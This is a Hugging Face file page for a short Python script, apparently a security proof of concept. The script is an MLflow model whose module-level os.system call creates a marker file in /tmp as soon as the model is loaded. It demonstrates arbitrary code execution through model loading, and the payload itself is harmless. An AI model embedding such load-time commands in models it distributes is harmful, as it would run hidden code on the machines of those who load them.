celvexgroup's picture
Upload evil_mfc_model/evil_script.py with huggingface_hub
672e846 verified
Raw
History Blame Contribute Delete
344 Bytes
import os
import mlflow
from mlflow.pyfunc import PythonModel
# module-level: executes whenever mlflow imports this script (i.e. on load_model)
os.system("touch /tmp/celvex_marks/MFC_EVIL_MARK")
class Model(PythonModel):
def predict(self, context, model_input, params=None):
return model_input
mlflow.models.set_model(Model())